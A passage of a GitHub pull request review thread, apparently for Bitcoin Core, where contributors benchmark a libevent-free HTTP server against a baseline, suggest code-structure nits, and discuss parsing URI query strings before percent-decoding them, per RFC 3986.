  175. pinheadmz referenced this in commit c34ee65e36 on May 30, 2026
  176. romanz commented at 12:06 PM on May 31, 2026: contributor

    Tested REST API performance - there is a consistent improvement both for small and large requests :rocket:

    <details>

    <summary> This PR </summary>

    ddefe4263b42aa050a4bd55c073e1640f06e7332

    ab -k -c 1 -t 3 http://localhost:8332/rest/blockpart/000000000000000000010538edbfd2d5b809a33dd83f284aeea41c6d0d96968a.bin?offset=0&size=1
    Requests per second:    29158.48 [#/sec] (mean)	 | Transfer rate:          2932.93 [Kbytes/sec] received
    Requests per second:    32012.19 [#/sec] (mean)	 | Transfer rate:          3219.98 [Kbytes/sec] received
    Requests per second:    32638.82 [#/sec] (mean)	 | Transfer rate:          3283.01 [Kbytes/sec] received
    Requests per second:    32389.15 [#/sec] (mean)	 | Transfer rate:          3257.89 [Kbytes/sec] received
    Requests per second:    32438.42 [#/sec] (mean)	 | Transfer rate:          3262.85 [Kbytes/sec] received
    ab -k -c 1 -t 3 http://localhost:8332/rest/blockpart/000000000000000000010538edbfd2d5b809a33dd83f284aeea41c6d0d96968a.bin?offset=0&size=10
    Requests per second:    32383.92 [#/sec] (mean)	 | Transfer rate:          3573.62 [Kbytes/sec] received
    Requests per second:    32175.18 [#/sec] (mean)	 | Transfer rate:          3550.58 [Kbytes/sec] received
    Requests per second:    31530.82 [#/sec] (mean)	 | Transfer rate:          3479.48 [Kbytes/sec] received
    Requests per second:    31983.38 [#/sec] (mean)	 | Transfer rate:          3529.42 [Kbytes/sec] received
    Requests per second:    32212.61 [#/sec] (mean)	 | Transfer rate:          3554.71 [Kbytes/sec] received
    ab -k -c 1 -t 3 http://localhost:8332/rest/blockpart/000000000000000000010538edbfd2d5b809a33dd83f284aeea41c6d0d96968a.bin?offset=0&size=100
    Requests per second:    31881.25 [#/sec] (mean)	 | Transfer rate:          6351.34 [Kbytes/sec] received
    Requests per second:    32179.44 [#/sec] (mean)	 | Transfer rate:          6410.75 [Kbytes/sec] received
    Requests per second:    32023.59 [#/sec] (mean)	 | Transfer rate:          6379.70 [Kbytes/sec] received
    Requests per second:    32408.71 [#/sec] (mean)	 | Transfer rate:          6456.42 [Kbytes/sec] received
    Requests per second:    31974.69 [#/sec] (mean)	 | Transfer rate:          6369.96 [Kbytes/sec] received
    ab -k -c 1 -t 3 http://localhost:8332/rest/blockpart/000000000000000000010538edbfd2d5b809a33dd83f284aeea41c6d0d96968a.bin?offset=0&size=1000
    Requests per second:    32063.90 [#/sec] (mean)	 | Transfer rate:          34600.21 [Kbytes/sec] received
    Requests per second:    32111.18 [#/sec] (mean)	 | Transfer rate:          34651.23 [Kbytes/sec] received
    Requests per second:    31730.92 [#/sec] (mean)	 | Transfer rate:          34240.89 [Kbytes/sec] received
    Requests per second:    30738.15 [#/sec] (mean)	 | Transfer rate:          33169.59 [Kbytes/sec] received
    Requests per second:    32113.26 [#/sec] (mean)	 | Transfer rate:          34653.47 [Kbytes/sec] received
    ab -k -c 1 -t 3 http://localhost:8332/rest/blockpart/000000000000000000010538edbfd2d5b809a33dd83f284aeea41c6d0d96968a.bin?offset=0&size=10000
    Requests per second:    28378.49 [#/sec] (mean)	 | Transfer rate:          280071.28 [Kbytes/sec] received
    Requests per second:    28174.13 [#/sec] (mean)	 | Transfer rate:          278054.40 [Kbytes/sec] received
    Requests per second:    27894.16 [#/sec] (mean)	 | Transfer rate:          275291.37 [Kbytes/sec] received
    Requests per second:    28544.43 [#/sec] (mean)	 | Transfer rate:          281709.03 [Kbytes/sec] received
    Requests per second:    28260.04 [#/sec] (mean)	 | Transfer rate:          278902.26 [Kbytes/sec] received
    ab -k -c 1 -t 3 http://localhost:8332/rest/blockpart/000000000000000000010538edbfd2d5b809a33dd83f284aeea41c6d0d96968a.bin?offset=0&size=100000
    Requests per second:    16404.55 [#/sec] (mean)	 | Transfer rate:          1603721.16 [Kbytes/sec] received
    Requests per second:    16446.97 [#/sec] (mean)	 | Transfer rate:          1607867.71 [Kbytes/sec] received
    Requests per second:    16245.71 [#/sec] (mean)	 | Transfer rate:          1588192.96 [Kbytes/sec] received
    Requests per second:    16297.39 [#/sec] (mean)	 | Transfer rate:          1593244.90 [Kbytes/sec] received
    Requests per second:    16301.37 [#/sec] (mean)	 | Transfer rate:          1593634.35 [Kbytes/sec] received
    ab -k -c 1 -t 3 http://localhost:8332/rest/blockpart/000000000000000000010538edbfd2d5b809a33dd83f284aeea41c6d0d96968a.bin?offset=0&size=1000000
    Requests per second:    2634.10 [#/sec] (mean)	 | Transfer rate:          2572645.17 [Kbytes/sec] received
    Requests per second:    3066.66 [#/sec] (mean)	 | Transfer rate:          2995109.11 [Kbytes/sec] received
    Requests per second:    2534.10 [#/sec] (mean)	 | Transfer rate:          2474977.79 [Kbytes/sec] received
    Requests per second:    2712.78 [#/sec] (mean)	 | Transfer rate:          2649489.12 [Kbytes/sec] received
    Requests per second:    2852.07 [#/sec] (mean)	 | Transfer rate:          2785528.19 [Kbytes/sec] received
    

    </details>

    <details>

    <summary> Baseline </summary>

    00af5620f01dbd1d2e696487303fad0382b67591

    ab -k -c 1 -t 3 http://localhost:8332/rest/blockpart/000000000000000000010538edbfd2d5b809a33dd83f284aeea41c6d0d96968a.bin?offset=0&size=1
    Requests per second:    23850.94 [#/sec] (mean)	 | Transfer rate:          2399.07 [Kbytes/sec] received
    Requests per second:    23946.54 [#/sec] (mean)	 | Transfer rate:          2408.69 [Kbytes/sec] received
    Requests per second:    24012.74 [#/sec] (mean)	 | Transfer rate:          2415.34 [Kbytes/sec] received
    Requests per second:    23906.69 [#/sec] (mean)	 | Transfer rate:          2404.68 [Kbytes/sec] received
    Requests per second:    23593.68 [#/sec] (mean)	 | Transfer rate:          2373.19 [Kbytes/sec] received
    ab -k -c 1 -t 3 http://localhost:8332/rest/blockpart/000000000000000000010538edbfd2d5b809a33dd83f284aeea41c6d0d96968a.bin?offset=0&size=10
    Requests per second:    24164.99 [#/sec] (mean)	 | Transfer rate:          2666.64 [Kbytes/sec] received
    Requests per second:    23982.37 [#/sec] (mean)	 | Transfer rate:          2646.49 [Kbytes/sec] received
    Requests per second:    23764.04 [#/sec] (mean)	 | Transfer rate:          2622.40 [Kbytes/sec] received
    Requests per second:    24149.92 [#/sec] (mean)	 | Transfer rate:          2664.98 [Kbytes/sec] received
    Requests per second:    23319.09 [#/sec] (mean)	 | Transfer rate:          2573.30 [Kbytes/sec] received
    ab -k -c 1 -t 3 http://localhost:8332/rest/blockpart/000000000000000000010538edbfd2d5b809a33dd83f284aeea41c6d0d96968a.bin?offset=0&size=100
    Requests per second:    22955.51 [#/sec] (mean)	 | Transfer rate:          4573.17 [Kbytes/sec] received
    Requests per second:    23800.19 [#/sec] (mean)	 | Transfer rate:          4741.44 [Kbytes/sec] received
    Requests per second:    23235.54 [#/sec] (mean)	 | Transfer rate:          4628.96 [Kbytes/sec] received
    Requests per second:    22719.12 [#/sec] (mean)	 | Transfer rate:          4526.08 [Kbytes/sec] received
    Requests per second:    23172.04 [#/sec] (mean)	 | Transfer rate:          4616.30 [Kbytes/sec] received
    ab -k -c 1 -t 3 http://localhost:8332/rest/blockpart/000000000000000000010538edbfd2d5b809a33dd83f284aeea41c6d0d96968a.bin?offset=0&size=1000
    Requests per second:    22759.36 [#/sec] (mean)	 | Transfer rate:          24559.66 [Kbytes/sec] received
    Requests per second:    23060.17 [#/sec] (mean)	 | Transfer rate:          24884.26 [Kbytes/sec] received
    Requests per second:    22780.68 [#/sec] (mean)	 | Transfer rate:          24582.67 [Kbytes/sec] received
    Requests per second:    23153.29 [#/sec] (mean)	 | Transfer rate:          24984.76 [Kbytes/sec] received
    Requests per second:    22981.31 [#/sec] (mean)	 | Transfer rate:          24799.17 [Kbytes/sec] received
    ab -k -c 1 -t 3 http://localhost:8332/rest/blockpart/000000000000000000010538edbfd2d5b809a33dd83f284aeea41c6d0d96968a.bin?offset=0&size=10000
    Requests per second:    20935.59 [#/sec] (mean)	 | Transfer rate:          206616.33 [Kbytes/sec] received
    Requests per second:    20115.90 [#/sec] (mean)	 | Transfer rate:          198526.64 [Kbytes/sec] received
    Requests per second:    19995.15 [#/sec] (mean)	 | Transfer rate:          197334.98 [Kbytes/sec] received
    Requests per second:    19722.30 [#/sec] (mean)	 | Transfer rate:          194642.17 [Kbytes/sec] received
    Requests per second:    20065.14 [#/sec] (mean)	 | Transfer rate:          198025.68 [Kbytes/sec] received
    ab -k -c 1 -t 3 http://localhost:8332/rest/blockpart/000000000000000000010538edbfd2d5b809a33dd83f284aeea41c6d0d96968a.bin?offset=0&size=100000
    Requests per second:    10907.47 [#/sec] (mean)	 | Transfer rate:          1066322.75 [Kbytes/sec] received
    Requests per second:    10811.14 [#/sec] (mean)	 | Transfer rate:          1056904.95 [Kbytes/sec] received
    Requests per second:    10673.67 [#/sec] (mean)	 | Transfer rate:          1043466.16 [Kbytes/sec] received
    Requests per second:    10791.98 [#/sec] (mean)	 | Transfer rate:          1055032.17 [Kbytes/sec] received
    Requests per second:    10747.95 [#/sec] (mean)	 | Transfer rate:          1050727.20 [Kbytes/sec] received
    ab -k -c 1 -t 3 http://localhost:8332/rest/blockpart/000000000000000000010538edbfd2d5b809a33dd83f284aeea41c6d0d96968a.bin?offset=0&size=1000000
    Requests per second:    1663.96 [#/sec] (mean)	 | Transfer rate:          1625132.70 [Kbytes/sec] received
    Requests per second:    1798.92 [#/sec] (mean)	 | Transfer rate:          1756944.86 [Kbytes/sec] received
    Requests per second:    1850.27 [#/sec] (mean)	 | Transfer rate:          1807095.64 [Kbytes/sec] received
    Requests per second:    1743.28 [#/sec] (mean)	 | Transfer rate:          1702601.64 [Kbytes/sec] received
    Requests per second:    1787.42 [#/sec] (mean)	 | Transfer rate:          1745711.21 [Kbytes/sec] received
    

    </details>

  177. pinheadmz commented at 12:10 PM on May 31, 2026: member

    @romanz thanks so much for the benchmark! Interesting that REST shows an improvement, and I consistently see RPC based functional tests taking slightly longer...

  178. pinheadmz referenced this in commit bfeb7a31af on May 31, 2026
  179. in src/test/fuzz/http_request.cpp:30 in ddefe4263b
      49 | -    if (http_buffer_str.find(" http://") != std::string::npos || http_buffer_str.find(" https://") != std::string::npos ||
      50 | -        evhttp_parse_firstline_(evreq, evbuf) != 1 || evhttp_parse_headers_(evreq, evbuf) != 1) {
      51 | -        evbuffer_free(evbuf);
      52 | -        evhttp_request_free(evreq);
      53 | +    const std::vector<std::byte> http_bytes_buffer(reinterpret_cast<const std::byte*>(http_buffer.data()),
      54 | +                                                   reinterpret_cast<const std::byte*>(http_buffer.data()) + http_buffer.size());
    


    hodlinator commented at 10:32 AM on June 1, 2026:

    Noticed we can specify the element type for ConsumeRandomLengthByteVector() and avoid having this extra vector.

        const std::vector<std::byte> http_buffer{ConsumeRandomLengthByteVector<std::byte>(fuzzed_data_provider, 4096)};
    

    https://github.com/hodlinator/bitcoin/commit/1d62049bcac70898fdfa74fd059187afcab2a783

  180. in src/httpserver.cpp:241 in ddefe4263b
     258 | -        } else {
     259 | -            LogWarning("Binding RPC on address %s port %i failed.", i->first, i->second);
     260 | -        }
     261 | -    }
     262 | -    return !boundSockets.empty();
     263 | +void RegisterHTTPHandler(const std::string &prefix, bool exactMatch, const HTTPRequestHandler &handler)
    


    hodlinator commented at 11:11 AM on June 1, 2026:

    nit: Could you please keep RegisterHTTPHandler() and UnregisterHTTPHandler() at the bottom of the httpserver.cpp file?

    • Matches order in header
    • Makes full diff slightly less confusing/smaller
  181. in src/httpserver.h:70 in ddefe4263b
     101 | - * Thin C++ wrapper around evhttp_request.
     102 | - */
     103 | -class HTTPRequest
     104 | +//! Thrown when a request body exceeds MAX_BODY_SIZE (or *will* exceed, in chunked transfer)
     105 | +//! so the server can reply with more specific code 413 (content too large) vs general 400 (bad request)
     106 | +struct ContentTooLargeError : public std::runtime_error {
    


    hodlinator commented at 11:39 AM on June 1, 2026:

    nanonit: Default inheritance for structs is public:

    struct ContentTooLargeError : std::runtime_error {
    
  182. in src/httpserver.h:123 in ddefe4263b
     167 | +    /// @{
     168 | +    uint8_t m_version_major{1};
     169 | +    uint8_t m_version_minor{1};
     170 | +    /// @}
     171 | +
     172 | +    HTTPStatusCode m_status;
    


    hodlinator commented at 12:51 PM on June 1, 2026:

    Might as well default-initialize this field:

        HTTPStatusCode m_status{HTTP_INTERNAL_SERVER_ERROR};
    
  183. holly-iq6000[bot] referenced this in commit 77fbbf4d05 on Jun 1, 2026
  184. in src/httpserver.h:126 in ddefe4263b
     170 | +    /// @}
     171 | +
     172 | +    HTTPStatusCode m_status;
     173 | +    std::string m_reason;
     174 | +    HTTPHeaders m_headers;
     175 | +    std::vector<std::byte> m_body;
    


    hodlinator commented at 6:06 PM on June 1, 2026:

    The body field isn't used in the implementation, might as well delete it. (HTTPRequest::WriteReply() already takes a separate std::span<const std::byte> reply_body argument).

    https://github.com/hodlinator/bitcoin/commit/050a1a0a9e99a388f4d4c316c6453674c0f959fa


    theStack commented at 6:31 PM on June 9, 2026:

    in 39ff679c36572d6944f8184d13cb9f1299cfe9c9: I agree with @hodlinator's suggestion to remove the m_body field, had the same finding. It is assigned at one instance in a unit test, but removing the corresponding line still passes the tests (unsurprisingly).

  185. in src/httpserver.h:538 in ddefe4263b
     645 | +    /**
     646 | +     * Try to read an HTTP request from the receive buffer.
     647 | +     * @param[in]   req     A pointer to an HTTPRequest to read
     648 | +     * @returns true on success, false on failure.
     649 | +     */
     650 | +    bool ReadRequest(const std::unique_ptr<HTTPRequest>& req);
    


    hodlinator commented at 6:42 PM on June 1, 2026:

    nit: No need to send in a pointer + more helpful docs:

         * [@param](/bitcoin-bitcoin/contributor/param/)[in]   req     A HTTPRequest to read into
         * [@returns](/bitcoin-bitcoin/contributor/returns/) true upon reading a complete request, otherwise false (may throw).
         */
        bool ReadRequest(HTTPRequest& req);
    

    https://github.com/hodlinator/bitcoin/commit/40eaa5a5cdca3c315654c63628e59dcfaee2851a

  186. in src/httpserver.cpp:1044 in ddefe4263b
    1275 | +                                        // while the server is busy with a request, there would still be a reference in a worker
    1276 | +                                        // thread keeping the socket open even after "disconnecting".
    1277 | +                                        bool is_idle{false};
    1278 | +                                        if (m_rpcservertimeout.count() > 0) {
    1279 | +                                            is_idle = now - client->m_idle_since.load() > m_rpcservertimeout && !client->m_req_busy;
    1280 | +                                        }
    


    hodlinator commented at 7:50 PM on June 1, 2026:

    nit: Could condense and make const:

    - bool is_idle{false};
    - if (m_rpcservertimeout.count() > 0) {
    -     is_idle = now - client->m_idle_since.load() > m_rpcservertimeout && !client->m_req_busy;
    - }
    + const bool is_idle{m_rpcservertimeout.count() > 0 &&
    +                    now - client->m_idle_since.load() > m_rpcservertimeout &&
    +                    !client->m_req_busy};
    
  187. in src/httpserver.cpp:1055 in ddefe4263b
    1286 | +                                                LogDebug(BCLog::HTTP,
    1287 | +                                                         "HTTP client idle timeout %s (id=%d)",
    1288 | +                                                         client->m_origin,
    1289 | +                                                         client->m_id);
    1290 | +                                            }
    1291 | +                                        } else {
    


    hodlinator commented at 7:51 PM on June 1, 2026:

    nanonit: Somewhat simpler:

                                            if (is_idle) {
                                                LogDebug(BCLog::HTTP,
                                                         "HTTP client idle timeout %s (id=%d)",
                                                         client->m_origin,
                                                         client->m_id);
                                            } else if (!client->m_disconnect) {
    
  188. in src/httpserver.h:121 in ddefe4263b
     165 | +     * when a request is unreadable.
     166 | +     */
     167 | +    /// @{
     168 | +    uint8_t m_version_major{1};
     169 | +    uint8_t m_version_minor{1};
     170 | +    /// @}
    


    hodlinator commented at 7:49 AM on June 2, 2026:

    Instead of duplicating these fields and the comment, we can extract a struct:

    struct HTTPVersion {
        /**
         * Default HTTP protocol version 1.1 is used by error responses
         * when a request is unreadable.
         */
        /// @{
        uint8_t major{1};
        uint8_t minor{1};
        /// @}
    };
    

    https://github.com/hodlinator/bitcoin/commit/ec708431f9bcce4a0f6fb66303394e74f085467f

  189. in src/httpserver.h:111 in ddefe4263b
     145 | +     * https://httpwg.org/specs/rfc9110.html#rfc.section.5.2
     146 | +     */
     147 | +    std::vector<std::pair<std::string, std::string>> m_headers;
     148 | +};
     149 |  
     150 | +class HTTPResponse
    


    hodlinator commented at 7:50 AM on June 2, 2026:

    Since all fields are public and there is only one method, I think HTTPResponse fits better as a struct. https://github.com/hodlinator/bitcoin/commit/5d3b0c08ddb2c468080f62bffd88e081d294eb0e

  190. in src/httpserver.h:134 in ddefe4263b
     179 | +};
     180 |  
     181 | -    /** Get requested URI.
     182 | +class HTTPRemoteClient;
     183 | +
     184 | +class HTTPRequest
    


    hodlinator commented at 7:52 AM on June 2, 2026:

    We can make all HTTPRequest fields private by adding accessor-methods for version and client. https://github.com/hodlinator/bitcoin/commit/899b85bb432d36f9ab781ee1b6a630a9419df136

  191. in src/httpserver.h:440 in ddefe4263b
     535 | +std::optional<std::string> GetQueryParameterFromUri(std::string_view uri, std::string_view key);
     536 |  
     537 | -/** Event class. This can be used either as a cross-thread trigger or as a timer.
     538 | - */
     539 | -class HTTPEvent
     540 | +class HTTPRemoteClient
    


    hodlinator commented at 7:53 AM on June 2, 2026:

    We can make HTTPRemoteClient fields private through a bit of refactoring. Feels better to lock mutexes in the member functions of the owning class, and allows for EXCLUSIVE_LOCKS_REQUIRED-annotations. https://github.com/hodlinator/bitcoin/commit/4ba3968fbcb49091cccbccf999621d81af025577

  192. hodlinator commented at 8:13 AM on June 2, 2026: contributor

    Thanks for being receptive to my feedback so far!

    Reviewed ddefe4263b42aa050a4bd55c073e1640f06e7332

    Suggestion branch with a bunch of commits that could be squashed into yours, most notable of which have a corresponding inline comment: https://github.com/bitcoin/bitcoin/compare/ddefe4263b42aa050a4bd55c073e1640f06e7332...hodlinator:bitcoin:pr/35182_suggestions

    My main suggestion is to make httpserver.h abstract data types either structs with public fields or classes with private fields.

  193. fanquake referenced this in commit 4a8befcb86 on Jun 2, 2026
  194. in src/httpserver.cpp:989 in ddefe4263b
    1215 | +                client->m_id,
    1216 | +                e.what());
    1217 | +
    1218 | +            req->WriteReply(HTTP_CONTENT_TOO_LARGE);
    1219 | +            client->m_disconnect = true;
    1220 | +            break;
    


    fjahr commented at 8:10 PM on June 4, 2026:

    (here and for the break below) We are disconnecting this client so there shouldn't be anything else we need to do for them, so I think it would be cleaner to return right here. Anything that happens below this loop doesn't seem relevant anymore.

  195. in src/httpserver.cpp:1142 in ddefe4263b
    1383 | +
    1384 | +        if (bytes_sent < 0) {
    1385 | +            // Something went wrong
    1386 | +            const int err{WSAGetLastError()};
    1387 | +            if (!IOErrorIsPermanent(err)) {
    1388 | +                // The error can be safely ignored, try the send again on the next I/O loop.
    


    fjahr commented at 9:03 PM on June 4, 2026:

    It seems to me that m_send_ready could be false here because we can end up here under this send_buffer_was_empty condition in WriteReply. So we may want to set it here explicitly if we want to try again immediately, i.e. set m_send_ready = true; here.


    l0rinc commented at 2:50 PM on June 5, 2026:

    and maybe also m_connection_busy = true

  196. fjahr commented at 9:59 PM on June 4, 2026: contributor

    ACK ddefe4263b42aa050a4bd55c073e1640f06e7332

    I have spent a lot of time staring at the code, on this latest pass more on the complete code/end result rather than one commit at a time and focusing only on finding serious issues. I think addressing my few latest comments might be good, but I don't think even those are necessarily serious enough to block this from getting merged. I suppressed my urge to leave more nits as I think at this point it would be better to get the PR merged sooner rather than later and focus on further integration testing with downstream software. I will spend some additional time on that but this is an ongoing effort that doesn't have a clear end goal, so it's not a blocker for this PR either.

  197. DrahtBot requested review from vasild on Jun 4, 2026
  198. DrahtBot requested review from fanquake on Jun 4, 2026
  199. DrahtBot requested review from 0xB10C on Jun 4, 2026
  200. DrahtBot requested review from janb84 on Jun 4, 2026
  201. in src/httpserver.cpp:348 in ddefe4263b
     406 | -        return false;
     407 | +std::string HTTPHeaders::Stringify() const
     408 | +{
     409 | +    std::string out;
     410 | +    for (const auto& [key, value] : m_headers) {
     411 | +        out += key + ": " + value + "\r\n";
    


    hulxv commented at 12:09 AM on June 5, 2026:
            std::format_to(std::back_inserter(out), "{}: {}\r\n", key, value);
    

    more readable?


    winterrdog commented at 8:37 PM on June 6, 2026:

    one thing I'm wondering about is whether std::format_to + std::back_inserter is really buying us much here given that this runs in a loop. the existing concatenation seems fairly straightforward already, so I'm not sure the extra machinery improves readability enough to justify a change


    hodlinator commented at 8:29 AM on June 8, 2026:

    I believe or minimum compiler requirements on all platforms aren't sufficient for std::format compatibility yet. See src/dependencies.md vs https://en.cppreference.com/cpp/compiler_support/20 (Text formatting)

  202. in src/httpserver.cpp:379 in ddefe4263b
     447 | +    if (request_line.find('\0') != std::string_view::npos) throw std::runtime_error("Invalid request line contains NUL");
     448 | +
     449 | +    const std::vector<std::string_view> parts{Split<std::string_view>(request_line, " ")};
     450 | +    if (parts.size() != 3) throw std::runtime_error("HTTP request line malformed");
     451 | +
     452 | +    if (parts[0] == "GET") {
    


    hulxv commented at 12:23 AM on June 5, 2026:

    is not better to add a method for parsing the http method? something like that:

    HTTPRequestMethod ParseMethod(std::string_view s)
    {
        constexpr std::array<std::pair<std::string_view, HTTPRequestMethod>, 4> methods{{
            {"GET", HTTPRequestMethod::GET},   {"POST", HTTPRequestMethod::POST},
            {"HEAD", HTTPRequestMethod::HEAD}, {"PUT", HTTPRequestMethod::PUT},
        }};
        for (const auto& [name, m] : methods)
            if (s == name) return m;
        return HTTPRequestMethod::UNKNOWN;
    }
    
  203. in src/test/httpserver_tests.cpp:62 in d810207400
      59 | +    BOOST_CHECK(!http_libevent::GetQueryParameterFromUri(uri.c_str(), "p1").has_value());
      60 | +    BOOST_CHECK(!http_libevent::GetQueryParameterFromUri(uri.c_str(), "p2").has_value());
      61 | +    // New behavior: Decode before parsing the URI so reserved characters like ? & = are interpreted correctly
      62 | +    BOOST_CHECK_EQUAL(http_bitcoin::GetQueryParameterFromUri(uri, "p1"), "v1");
      63 | +    BOOST_CHECK_EQUAL(http_bitcoin::GetQueryParameterFromUri(uri, "p2"), "100%");
      64 | +}
    


    l0rinc commented at 2:47 PM on June 5, 2026:

    d810207 Add helper methods to HTTPRequest to match original API:

    What should happen in these cases?

        // Encoded query delimiters are part of the parameter value, not structure.
        uri = "/rest/endpoint/someresource.json?p=a%26b%3Dc%23frag&other=x";
        BOOST_CHECK_EQUAL(http_bitcoin::GetQueryParameterFromUri(uri, "p"), "a&b=c#frag");
        BOOST_CHECK_EQUAL(http_bitcoin::GetQueryParameterFromUri(uri, "other"), "x");
    
        // An encoded question mark in the path does not introduce a query section.
        uri = "/rest/endpoint/someresource.json%3Fp1%3Dv1%26p2%3D100%25";
        BOOST_CHECK(!http_bitcoin::GetQueryParameterFromUri(uri, "p1"));
    

    Currently they fail with:

    test/httpserver_tests.cpp:44: error: in "httpserver_tests/test_query_parameters_new_behavior": check http_bitcoin::GetQueryParameterFromUri(uri, "p") == "a&b=c#frag" has failed [a != a&b=c#frag]
    
    test/httpserver_tests.cpp:45: error: in "httpserver_tests/test_query_parameters_new_behavior": check http_bitcoin::GetQueryParameterFromUri(uri, "other") == "x" has failed [std::nullopt != x]
    
    test/httpserver_tests.cpp:49: error: in "httpserver_tests/test_query_parameters_new_behavior": check !http_bitcoin::GetQueryParameterFromUri(uri, "p1") has failed
    

    achow101 commented at 11:04 PM on June 8, 2026:

    RFC 3986 Section 2.2 specifies that reserved characters that are used as data must be percent encoded, so we shouldn't be treating the percent encoded characters as the delimiters.

    diff --git a/src/httpserver.cpp b/src/httpserver.cpp
    index 525500a2dbd..06b98baa381 100644
    --- a/src/httpserver.cpp
    +++ b/src/httpserver.cpp
    @@ -629,26 +629,23 @@ std::optional<std::string> HTTPRequest::GetQueryParameter(const std::string_view
     // and https://www.rfc-editor.org/rfc/rfc3986#section-3.4
     std::optional<std::string> GetQueryParameterFromUri(const std::string_view uri, const std::string_view key)
     {
    -    // Handle %XX encoding
    -    std::string decoded_uri{UrlDecode(uri)};
    -
         // find query in URI
    -    size_t start = decoded_uri.find('?');
    +    size_t start = uri.find('?');
         if (start == std::string::npos) return std::nullopt;
    -    size_t end = decoded_uri.find('#', start);
    +    size_t end = uri.find('#', start);
         if (end == std::string::npos) {
    -        end = decoded_uri.length();
    +        end = uri.length();
         }
    -    const std::string_view query{decoded_uri.data() + start + 1, end - start - 1};
    +    const std::string_view query{uri.data() + start + 1, end - start - 1};
         // find requested parameter in query
         const std::vector<std::string_view> params{Split<std::string_view>(query, "&")};
         for (const std::string_view& param : params) {
             size_t delim = param.find('=');
    -        if (key == param.substr(0, delim)) {
    +        if (key == UrlDecode(param.substr(0, delim))) {
                 if (delim == std::string::npos) {
                     return "";
                 } else {
    -                return std::string(param.substr(delim + 1));
    +                return std::string(UrlDecode(param.substr(delim + 1)));
                 }
             }
         }
    

    winterrdog commented at 7:50 AM on June 9, 2026:

    totally agree with achow101's solution.

    just to add to that, RFC 3986 section 2.4 explicitly states that URI components must be parsed and separated before percent-decoding, otherwise encoded data can be mistaken for delimiters:

    When a URI is dereferenced, the components and subcomponents significant to the scheme-specific dereferencing process (if any) must be parsed and separated before the percent-encoded octets within those components can be safely decoded, as otherwise the data may be mistaken for component delimiters. The only exception is for percent-encoded octets corresponding to characters in the unreserved set, which can be decoded at any time. For example, the octet corresponding to the tilde ("~") character is often encoded as "%7E" by older URI processing implementations; the "%7E" can be replaced by "~" without changing its interpretation.

    so the order here should be: parse first, decode later. the current implementation does the reverse by decoding the entire URI before parsing it. for example, p=a%26b%3Dc gets decoded to p=a&b=c before splitting, which creates a phantom second parameter instead of preserving a single parameter with the value a&b=c.

  204. in src/httpserver.cpp:830 in 7a3f1b909f
     825 | +    // Three words separated by spaces, terminated by \n or \r\n
     826 | +    if (request_line.length() < MIN_REQUEST_LINE_LENGTH) throw std::runtime_error("HTTP request line too short");
     827 | +
     828 | +    // "Field values containing CR, LF, or NUL characters are invalid and dangerous"
     829 | +    // https://httpwg.org/specs/rfc9110.html#rfc.section.5.5
     830 | +    if (request_line.find('\0') != std::string_view::npos) throw std::runtime_error("Invalid request line contains NUL");
    


    achow101 commented at 8:04 PM on June 8, 2026:

    In 7a3f1b909f44d98d76f7a7eb466109d84161e060 "http: Implement HTTPRequest class"

    The comment says CR and LF are excluded, but this is only checking for NUL. Also, the referenced section of the RFC is about fields, not the request line.

  205. in src/test/httpserver_tests.cpp:51 in b24ba40b41


    achow101 commented at 10:45 PM on June 8, 2026:

    In b24ba40b41af1ab5bb38369cda0c9fa1c35443fe "http: remove libevent usage from this subsystem"

    When libevent is removed, this template definition can be dropped and the test inlinted with test_query_parameters_bitcoin.

  206. fanquake referenced this in commit 7bdd97702b on Jun 9, 2026
  207. in test/functional/interface_http.py:451 in 5d07b05605
     446 | +            ['OPTIONS', http.client.NOT_IMPLEMENTED],
     447 | +            ['GET',     http.client.METHOD_NOT_ALLOWED] # RPC endpoint '/' only handles POST
     448 | +        ]:
     449 | +            conn = BitcoinHTTPConnection(self.node)
     450 | +            response = conn._request(method, '/', data=None, connection_header=None)
     451 | +            assert response.status == err
    


    theStack commented at 6:33 PM on June 9, 2026:

    in 5d07b056057b4cdab36212748491e66359da18ba: nit:

                assert_equal(response.status, err)
    
  208. in test/functional/interface_http.py:562 in 5d07b05605
     557 | +            response = conn.recv_raw().decode()
     558 | +            assert response.startswith("HTTP/1.1 400")
     559 | +
     560 | +
     561 | +    def check_whitespace_in_headers(self):
     562 | +        # Extra whitespace before colon in header.
    


    theStack commented at 6:35 PM on June 9, 2026:

    in 5d07b056057b4cdab36212748491e66359da18ba: same as for other subtests, could also show a log message (self.log.info(...)) here

  209. in src/httpserver.h:255 in 39ff679c36
     250 | +
     251 | +    HTTPStatusCode m_status;
     252 | +    std::string m_reason;
     253 | +    HTTPHeaders m_headers;
     254 | +    std::vector<std::byte> m_body;
     255 | +    bool m_keep_alive{false};
    


    theStack commented at 6:44 PM on June 9, 2026:

    in 39ff679c36572d6944f8184d13cb9f1299cfe9c9: I wonder if this field has to live in this class, considering that it's more a property of the connection (HTTPRemoteClient), rather than the response (serialization)? Could e.g. have this as a local variable within HTTPRequest::WriteReply instead.

  210. in test/functional/interface_http.py:436 in 5d07b05605
     431 | +        ]
     432 | +        for auth_value in cases:
     433 | +            conn = BitcoinHTTPConnection(self.node)
     434 | +            conn.headers = {"Authorization": f"{auth_value}"}
     435 | +            response = conn.post('/', '{"method": "getbestblockhash"}')
     436 | +            assert_equal(response.status, http.client.UNAUTHORIZED)
    


    theStack commented at 6:47 PM on June 9, 2026:

    in 5d07b056057b4cdab36212748491e66359da18ba: nit: like in the sub-tests above, could also assert for the WWW-Authenticate header here for the sake of consistency

  211. in src/test/httpserver_tests.cpp:133 in d78f5f15dd
     128 | +        // Individual lines are below MAX_HEADERS_SIZE but the total is excessive
     129 | +        std::string lines;
     130 | +        lines.reserve(820 * 11);
     131 | +        for (int i = 0; i < 820; ++i) {
     132 | +            lines.append("key: value\n");
     133 | +        }
    


    theStack commented at 6:52 PM on June 9, 2026:

    in d78f5f15dd9a8866b512e732284105a7bc6e2179: yocto-nit: would choose values that are as close as possible to the actual limit, e.g. in this case

            lines.reserve(745 * 11);
            for (int i = 0; i < 745; ++i) {
                lines.append("key: value\n");
            }
    

    (or, simpler, remove one character in the line string for 820 * 10 😛 trying to reach 8200 was likely the initial idea)

  212. theStack commented at 7:01 PM on June 9, 2026: contributor

    Reviewed about half-way through (3e6ef7c9c509dfeb23aef7940576e6ec132e4769), looking good so far, only left some nits along the way. Consider them as follow-up collection material, I don't think any of those are blocking at all. I agree with previous reviewers though that the pointed out URI decoding order issue regarding delimiters and special-encoded characters (https://github.com/bitcoin/bitcoin/pull/35182#discussion_r3363432858 ff.) should be addressed.


github-metadata-mirror

